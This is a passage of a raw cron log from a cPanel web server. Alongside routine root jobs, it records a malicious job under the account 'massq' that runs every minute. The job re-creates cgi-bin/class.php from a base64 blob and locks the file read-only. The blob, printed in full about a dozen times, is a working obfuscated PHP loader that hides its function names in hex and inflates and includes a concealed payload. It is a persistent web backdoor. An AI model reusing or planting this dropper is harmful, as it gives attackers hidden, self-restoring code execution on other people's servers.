czPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:46:01 server CROND[27392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:46:01 server CROND[27394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:46:01 server CROND[27393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:47:01 server CROND[27850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:47:01 server CROND[27851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:47:01 server CROND[27852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:48:01 server CROND[28214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:48:01 server CROND[28215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:48:01 server CROND[28216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:49:01 server CROND[28588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:49:01 server CROND[28587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:49:01 server CROND[28589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:50:01 server CROND[28975]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:50:01 server CROND[28977]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:50:01 server CROND[28978]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 06:50:01 server CROND[28982]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:50:01 server CROND[28987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:50:01 server CROND[28983]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:50:01 server CROND[28984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:50:01 server CROND[28985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:50:01 server CROND[28986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:51:01 server CROND[29811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:51:01 server CROND[29812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:51:01 server CROND[29813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:52:01 server CROND[30178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:52:01 server CROND[30179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:52:01 server CROND[30180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:53:01 server CROND[30539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:53:01 server CROND[30540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:53:01 server CROND[30542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:54:01 server CROND[31005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:54:01 server CROND[31006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:54:01 server CROND[31007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:55:01 server CROND[31378]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 06:55:01 server CROND[31386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:55:01 server CROND[31390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:55:01 server CROND[31389]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 06:55:01 server CROND[31388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:55:01 server CROND[31387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:55:01 server CROND[31391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:56:01 server CROND[32227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:56:01 server CROND[32229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:56:01 server CROND[32228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:57:01 server CROND[32601]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 06:57:01 server CROND[32600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 06:57:01 server CROND[32602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:57:01 server CROND[32603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:58:01 server CROND[536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
